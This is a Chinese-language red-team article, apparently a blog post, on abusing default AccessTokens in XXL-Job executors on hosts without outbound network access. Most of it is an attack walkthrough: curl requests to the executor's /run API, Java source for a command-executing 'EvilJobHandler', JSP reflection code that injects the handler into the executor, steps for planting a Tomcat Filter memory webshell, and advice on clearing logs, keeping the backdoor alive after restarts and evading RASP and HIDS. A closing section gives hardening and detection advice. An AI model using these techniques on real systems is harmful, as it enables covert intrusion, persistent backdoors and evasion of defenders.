XXL-Job执行器默认AccessToken漏洞在不出网环境下的深度利用与防御

发布时间:2026/7/6 0:39:31
XXL-Job执行器默认AccessToken漏洞在不出网环境下的深度利用与防御 1. 项目概述一次对调度系统安全边界的深度渗透最近在内部的一次红蓝对抗演练中我们遇到了一个非常典型的场景目标系统部署了XXL-Job作为分布式任务调度中心但执行器Executor所在的服务器处于严格的网络隔离环境也就是我们常说的“不出网”或“内网隔离”环境。在这种限制下传统的反弹Shell、远程下载文件等利用方式基本失效。然而在对XXL-Job执行器默认配置进行审计时我们发现了一个被广泛忽视但危害极大的安全问题——默认的、弱口令级别的AccessToken配置。这个发现为我们打开了一条在不出网环境下实现权限维持的新路径。XXL-Job是一个开源的分布式任务调度平台其核心架构分为调度中心Admin和执行器Executor。执行器负责接收调度中心的指令并执行具体的JobHandler任务处理器。为了保障通信安全XXL-Job设计了AccessToken机制调度中心调用执行器时需携带此Token进行校验。问题恰恰出在这里许多开发者和运维人员在部署时会直接使用官方示例或默认配置将执行器的AccessToken设置为像“default_token”这样简单、常见甚至为空的值。这就好比给家里的防盗门装了一把密码锁却把密码贴在了门上。在不出网场景下攻击者一旦通过其他途径如Web漏洞获取了执行器所在服务器的权限或者发现了未授权访问执行器API的入口这个薄弱的AccessToken就成为了通往系统深处的钥匙。利用它我们可以直接与执行器的内置HTTP API交互无需依赖外部网络实现命令执行、文件操作并最终注入一个隐蔽的内存WebShell内存马实现持久的后渗透控制。接下来我将详细拆解整个利用链的每一个环节从漏洞原理到实操利用再到内存马的构造与注入并分享在此过程中积累的实战经验和避坑指南。2. 漏洞原理与利用链深度解析要理解这个漏洞的威力必须首先吃透XXL-Job执行器的通信模型和安全边界。很多人认为执行器只是一个“干活”的组件安全重心应该放在调度中心或Web界面上这是一个严重的认知误区。2.1 默认AccessToken的安全误区XXL-Job的执行器在启动时需要通过配置文件如xxl-job-executor.properties或启动参数设置xxl.job.accessToken。官方文档和示例中为了快速启动演示常常配置为xxl.job.accessTokendefault_token甚至有些匆忙上线的项目直接留空。调度中心调用执行器时会在HTTP请求头中携带此TokenPOST /run HTTP/1.1 X-ACCESS-TOKEN: default_token ...执行器端会校验收到的Token是否与自身配置一致。这里的风险是双重的弱Token可被爆破或猜测“default_token”、“123456”、“xxl-job”等是攻击字典的常客。空Token等于无认证若配置为空则任何知道执行器地址和端口的请求都能直接调用核心接口。关键在于这个认证是单向的。调度中心认证执行器注册时执行器并不反向认证调度中心。因此任何一个能够向执行器IP和端口发送HTTP请求的客户端只要掌握了正确的AccessToken就被执行器视为“合法的调度中心”可以调用其所有功能。2.2 执行器API接口的攻击面分析执行器内置了一个HTTP服务默认端口9999基于Netty或Jetty主要提供以下几个关键接口这些接口共同构成了我们的攻击面接口路径方法功能描述攻击利用价值/runPOST触发执行一个指定的JobHandler核心利用点。通过它执行我们自定义的恶意任务代码。/idleBeatPOST检测执行器是否空闲信息收集确认执行器状态和可用性。/beatPOST心跳检测信息收集。/logPOST查看任务执行日志信息收集读取执行结果或敏感日志。其中/run接口是我们攻击的焦点。它的请求体是一个JSON包含了要执行的任务的所有信息{ jobId: 1, executorHandler: demoJobHandler, executorParams: test, glueType: BEAN }executorHandler: 指定要执行的JobHandler的名称。执行器内部维护着一个名为jobHandlerRepository的Map存放了所有注册的Bean模式JobHandler。glueType: 任务模式。BEAN模式表示执行一个已注册的Spring BeanGLUE_XXX模式支持动态上传和执行代码如GLUE_JAVA但通常权限控制更严或默认关闭我们优先利用更通用的BEAN模式。攻击思路由此清晰如果我们能向执行器注册一个恶意的JobHandler Bean然后通过/run接口以正确的AccessToken调用这个Handler就能在目标JVM进程中执行任意代码。而且这一切都发生在JVM内部完全不需要与外界网络通信。2.3 不出网环境的挑战与机遇“不出网”意味着目标服务器无法主动发起对外部IP的TCP/UDP连接。这封死了以下常见手段反弹TCP/UDP Shell到公网VPS。使用curl/wget下载远程二进制木马。利用DNS、HTTP、ICMP等协议进行数据外带某些严格场景下。但这反而迫使攻击者进行更深入的利用。我们的利用链完全基于内存操作内存中查找与注入利用Java的反射机制在运行的JVM中动态查找、修改或注册Bean。内存WebShell注入的恶意代码直接在JVM内存中创建一个HTTP处理器不落盘任何文件。流量伪装内存马的通信流量混杂在正常的XXL-Job执行器流量中隐蔽性极高。这种利用方式摆脱了对文件系统和外部网络的依赖是高级持久化威胁的典型手法。3. 实战利用从信息收集到恶意Handler注册假设我们已经通过某种方式如SSH弱口令、其他应用RCE获得了目标服务器的一个Shell或者发现了一个未授权访问的执行器端点。接下来我们按步骤推进。3.1 环境探测与AccessToken验证首先需要确认XXL-Job执行器的存在和详细信息。步骤1查找配置文件在服务器上搜索包含“xxl.job”关键字的配置文件。find / -name *.properties -o -name *.yml -o -name *.yaml 2/dev/null | xargs grep -l xxl.job 2/dev/null或者检查应用目录、Spring Boot的application.properties/yml。步骤2检查进程和网络端口ps aux | grep xxl-job netstat -tlnp | grep -E ‘:(9999|7399)‘ # 默认端口9999调度中心7399 lsof -i:9999步骤3验证AccessToken与API可达性如果我们找到了疑似Token比如default_token或者打算爆破可以用curl直接测试。先测试接口是否存活curl -X POST http://目标IP:9999/beat如果返回{“code”:200, “msg”:null}之类的说明执行器服务正常。然后带上可能的Token测试/run接口用一个不存在的handler看认证错误还是handler找不到错误curl -X POST http://目标IP:9999/run \ -H “X-ACCESS-TOKEN: default_token” \ -H “Content-Type: application/json” \ -d ‘{“jobId”:1,“executorHandler”:“notExist”,“executorParams”:“”,“glueType”:“BEAN”}‘如果返回{“code”:500, “msg”:“The access token is wrong.”}说明Token错误。如果返回{“code”:500, “msg”:“job handler [notExist] not found.”}恭喜Token正确这说明我们通过了认证只是Handler不存在。实操心得在实际内网中执行器端口可能被修改也可能与业务应用共用端口如部署在Spring Boot内端口为8080。关键在于找到X-ACCESS-TOKEN这个请求头。有时可以通过翻阅项目源码、历史部署脚本甚至运维文档来获取Token。3.2 动态注册恶意JobHandler这是整个利用链的技术核心。我们需要在目标JVM中动态创建一个实现了IJobHandler接口的类并将其注册到XXL-Job执行器的jobHandlerRepository中。XXL-Job执行器在Spring容器启动时会扫描所有Component注解且实现了IJobHandler的Bean自动注册。我们要做的是在运行时模拟这个过程。步骤1编写恶意JobHandler的Java代码我们需要一段能执行任意命令并且能回显结果的代码。以下是一个高度精简且通用的恶意Handler示例import com.xxl.job.core.handler.IJobHandler; import com.xxl.job.core.context.XxlJobHelper; import java.io.BufferedReader; import java.io.InputStreamReader; public class EvilJobHandler extends IJobHandler { Override public void execute() throws Exception { // 从任务参数中获取要执行的命令 String command XxlJobHelper.getJobParam(); if (command null || command.trim().isEmpty()) { XxlJobHelper.log(“No command provided.”); XxlJobHelper.handleFail(); return; } boolean isWindows System.getProperty(“os.name”).toLowerCase().contains(“win”); String[] cmd isWindows ? new String[]{“cmd”, “/c”, command} : new String[]{“/bin/sh”, “-c”, command}; Process process Runtime.getRuntime().exec(cmd); StringBuilder output new StringBuilder(); try (BufferedReader reader new BufferedReader(new InputStreamReader(process.getInputStream()))) { String line; while ((line reader.readLine()) ! null) { output.append(line).append(“\n”); } } int exitCode process.waitFor(); // 将命令执行结果记录到XXL-Job日志方便我们通过/log接口查看 XxlJobHelper.log(“Command: “ command “\nExitCode: “ exitCode “\nOutput:\n“ output.toString()); if (exitCode 0) { XxlJobHelper.handleSuccess(); } else { XxlJobHelper.handleFail(); } } }这个Handler从任务参数中读取命令执行后将结果通过XxlJobHelper.log()写入XXL-Job的日志上下文。这样我们就可以通过执行器的/log接口来读取命令执行结果完美适配不出网环境。步骤2利用JSP/Java Agent或直接反射注入在不出网且有Shell的情况下我们有几种方式将上面的代码加载到目标JVMJSP文件写入如果有Java Web应用将上述Java类编译后的字节码或者直接编写一个JSP脚本利用Java反射机制在内存中定义类并注册。这是最常见的方式。Java Agent注入如果条件允许上传一个简单的Agent Jar利用InstrumentationAPI进行类转换和注册更为隐蔽和稳定。直接通过现有RCE执行反射代码如果我们已有的RCE点可以执行较长的Java代码可以直接写一段反射代码来完成所有操作。这里以通过JSP反射注入为例展示核心过程。我们编写一个JSP其核心功能是使用URLClassLoader或defineClass加载我们构造的EvilJobHandler类字节码。通过Spring上下文获取XxlJobExecutor实例。使用反射获取其内部的jobHandlerRepository通常是一个ConcurrentHashMap。将我们创建的EvilJobHandler实例放入这个Mapkey为我们指定的名称例如“cmdHandler”。由于代码较长关键反射代码如下片段% // 获取Spring上下文 WebApplicationContext ctx WebApplicationContextUtils.getWebApplicationContext(request.getSession().getServletContext()); // 获取名为 “xxlJobExecutor” 的Bean Object xxlJobExecutor ctx.getBean(“xxlJobExecutor”); // 反射获取 jobHandlerRepository 字段 Field repoField xxlJobExecutor.getClass().getDeclaredField(“jobHandlerRepository”); repoField.setAccessible(true); ConcurrentHashMapString, IJobHandler repository (ConcurrentHashMapString, IJobHandler) repoField.get(xxlJobExecutor); // 创建我们恶意Handler的实例 IJobHandler evilHandler new EvilJobHandler(); // 这里需要先定义或加载EvilJobHandler类 // 注册到仓库 repository.put(“cmdHandler”, evilHandler); out.println(“Evil JobHandler ‘cmdHandler’ registered successfully!”); %实际利用时需要解决EvilJobHandler类的定义问题。我们可以将其Java源码字符串在内存中编译或者直接构造其字节码。对于复杂情况使用javassist或asm库会更方便但在不出网环境下需要将这些库的Jar包一并上传或使用目标环境已有的。避坑指南不同版本的XXL-Job其内部字段名和结构可能有细微差别。jobHandlerRepository字段在较新版本中可能存在。如果反射失败需要分析目标版本的源码或使用Java反编译工具查看具体字段名。一个更稳健的方法是直接遍历XxlJobExecutor对象的所有字段找到那个MapString, IJobHandler类型的字段。4. 内存马注入构建无文件的后门成功注册了恶意JobHandler我们已经可以执行命令了。但这还不够“持久”和“隐蔽”。每次执行命令都需要通过XXL-Job的/run接口触发并需要查看日志获取结果。我们希望有一个更直接的、像WebShell一样的交互方式。这就是内存马内存WebShell的价值所在。内存马的本质是在运行的Java Web应用如Tomcat、Spring Boot的内存中动态注册一个新的Servlet、Filter、Controller或者Listener使其能够处理特定的HTTP请求从而提供一个隐藏的后门。它不写入任何文件重启后失效但隐蔽性极强。4.1 基于Filter的内存马原理在Java Web容器中Filter过滤器可以拦截所有请求是注入内存马的理想位置。我们的目标是向当前Web应用的FilterChain中动态插入一个我们自定义的恶意Filter。关键步骤获取当前应用的StandardContext这是Tomcat的核心上下文对象管理着所有的Servlet和Filter。创建恶意Filter类和实例这个Filter会检查请求中是否包含特定的密码参数如?cmdwhoamipwdsecret。将Filter添加到FilterDef并注册到StandardContext。创建FilterMap将我们的Filter映射到某个URL模式如/*拦截所有请求或者/xxladmin/*这样更隐蔽的路径。将FilterMap添加到StandardContext的过滤器映射链的首位确保优先执行。4.2 通过恶意JobHandler注入内存马现在我们将这两部分结合起来。我们之前注册的cmdHandler可以用来执行一段复杂的Java反射代码这段代码的功能就是注入一个Filter内存马。我们改造一下EvilJobHandler的execute方法使其支持两种模式模式一直接执行系统命令并回显基础功能。模式二执行一段特殊的“安装内存马”指令。当我们在/run接口的executorParams中传递一段特定的启动指令时Handler会执行注入内存马的代码。注入成功后我们就拥有了一个独立的、隐蔽的Web后门可以直接通过HTTP请求与目标交互不再依赖XXL-Job的日志接口。注入内存马的Java反射代码非常复杂涉及到对Tomcat内部API的深度操作。这里给出一个概念性的步骤描述获取当前线程的WebappClassLoader。通过Thread.currentThread().getContextClassLoader()获取ApplicationContext。使用反射层层深入获取到StandardContext对象。这是最复杂且版本兼容性最差的一步不同Tomcat版本路径不同。定义恶意Filter类。通常使用字节码技术动态生成一个实现了javax.servlet.Filter接口的类。这个类的doFilter方法会检查请求参数匹配则执行命令并回写响应。实例化Filter并创建FilterDef。将FilterDef加入StandardContext。创建FilterMap并设置映射关系将其插入到Filter链前端。通知StandardContext重新加载过滤器。核心难点与经验内存马注入的成功率高度依赖目标Web容器的具体版本Tomcat 7/8/9/10, Jetty, Undertow和Spring Boot的内嵌方式。在实战中我通常会准备多个针对不同版本的注入代码片段。一种更稳妥的方法是先利用cmdHandler执行一个探测命令收集环境信息如java -version, 查找catalina.home, 检查ServletContext属性等再决定使用哪一套注入代码。4.3 内存马的通信与使用假设我们成功注入了一个Filter内存马映射到了/*路径并设置了连接密码pwdsecret123。那么后续的利用就变得非常简单和直接# 直接通过HTTP请求执行命令结果直接返回在HTTP响应体中 curl “http://目标IP:应用端口/any/path?pwdsecret123cmdwhoami”这种方式无文件所有操作在内存中完成ps、ls等命令找不到可疑进程或文件。高隐蔽流量混合在大量正常的HTTP业务请求中除非对流量进行深度内容审计并匹配特定参数否则很难发现。功能强大可以在这个Filter中集成文件管理、代理转发、端口扫描等复杂功能。5. 痕迹清理与防御规避实践在红队行动中利用之后清理痕迹和保护持久化后门同样重要。针对这条利用链我们需要关注以下几点5.1 清理XXL-Job日志通过/run接口执行命令后命令和结果会记录在XXL-Job的日志中。虽然这些日志通常存储在数据库或本地文件不出网环境下外部难以查看但内部的安全运维人员或HIDS主机入侵检测系统可能会扫描。我们的恶意JobHandler在执行完命令后可以尝试自动清理本次触发的日志记录。这需要再次反射调用XXL-Job的日志服务接口。更简单粗暴的方法是在注册恶意Handler时同时注册一个“日志清理”Handler定期清理包含特定关键词的日志。但要注意过度清理或规律性的清理行为本身可能成为异常点。5.2 内存马的自我保护注入到StandardContext中的Filter定义在应用重启后会消失。为了维持权限有几种思路挂钩到持久化存储将内存马的字节码或启动指令以加密形式写入数据库的某个隐蔽字段、配置文件注释或缓存的Value中。当应用重启后通过另一个入口如另一个未修复的漏洞触发一段代码从持久化存储中读取并重新注入。这实现了“无文件持久化”。利用计划任务在操作系统中植入一个计划任务crontab或Windows Task定期检测内存马是否存在不存在则重新利用XXL-Job漏洞注入。但这涉及到文件操作增加了暴露风险。驻留在其他内存对象中更高级的技术尝试将恶意代码驻留在JVM的某些“长寿”对象中但实现复杂稳定性差。在不出网且防守严格的环境下“低频率、高价值”的使用原则是关键。不要频繁使用后门每次使用后尽量清理本次产生的日志和进程记录。5.3 对抗安全检测对抗RASP/IAST运行时应用安全保护可能会检测到危险的反射调用如defineClass、getDeclaredField并setAccessible。可以通过更迂回的方式或者利用已存在的、白名单内的类加载器来加载恶意类。对抗HIDS执行命令时会创建子进程。可以优先使用纯Java实现的命令如遍历文件目录用java.nio.file.Files而非Runtime.exec(“ls”)避免触发进程创建告警。流量混淆内存马的参数可以使用编码如Base64、加密甚至伪装成正常的业务参数。6. 防御建议与修复方案从防御者视角看如何避免和发现此类利用6.1 安全配置加固强制使用强AccessToken将AccessToken视为重要密码使用足够长度16位以上且随机的字符串并定期更换。切勿使用默认值或空值。网络访问控制严格限制执行器端口的访问来源。只允许调度中心IP访问执行器的API端口默认9999。使用防火墙或安全组策略实现最小化网络暴露。调度中心安全调度中心的管理界面同样需要强密码认证并避免暴露在公网。定期升级关注XXL-Job官方安全更新及时升级到最新版本。6.2 入侵检测与响应监控异常JobHandler注册可以增强XXL-Job执行器源码在jobHandlerRepository的put方法增加日志告警记录非应用启动阶段的Handler注册行为。日志审计密切关注XXL-Job调度日志中是否存在来源IP异常、执行参数异常如包含bash、powershell、curl等命令片段的任务执行记录。主机层监控监控Java进程是否通过Runtime.exec或ProcessBuilder启动了异常子进程。监控9999等执行器端口上的异常HTTP请求模式。内存马检测使用专业的内存马检测工具或脚本定期扫描运行中的Java应用检查是否存在未知的Servlet、Filter或Controller。可以对比StandardContext中的Filter定义与web.xml或注解声明是否一致。6.3 架构层面思考对于安全性要求极高的场景可以考虑将执行器部署在独立的、网络策略极其严格的环境中。考虑使用更安全的任务调度平台或者对XXL-Job进行深度定制增加二次认证、执行签名等机制。建立完善的DevSecOps流程在CI/CD环节对应用配置包括AccessToken进行安全扫描和硬编码检查。这次对XXL-Job执行器默认AccessToken漏洞的利用实践再次印证了一个道理安全是一个整体最薄弱的环节往往出现在那些被认为“只是内部组件”、“默认配置没问题”的地方。不出网环境也绝非安全的保险箱它只是将攻击者的战场从网络层转移到了系统层和应用内存层对抗的难度和精细度要求反而更高。作为防御方必须摒弃“内网就是安全的”旧观念实行全面的纵深防御策略。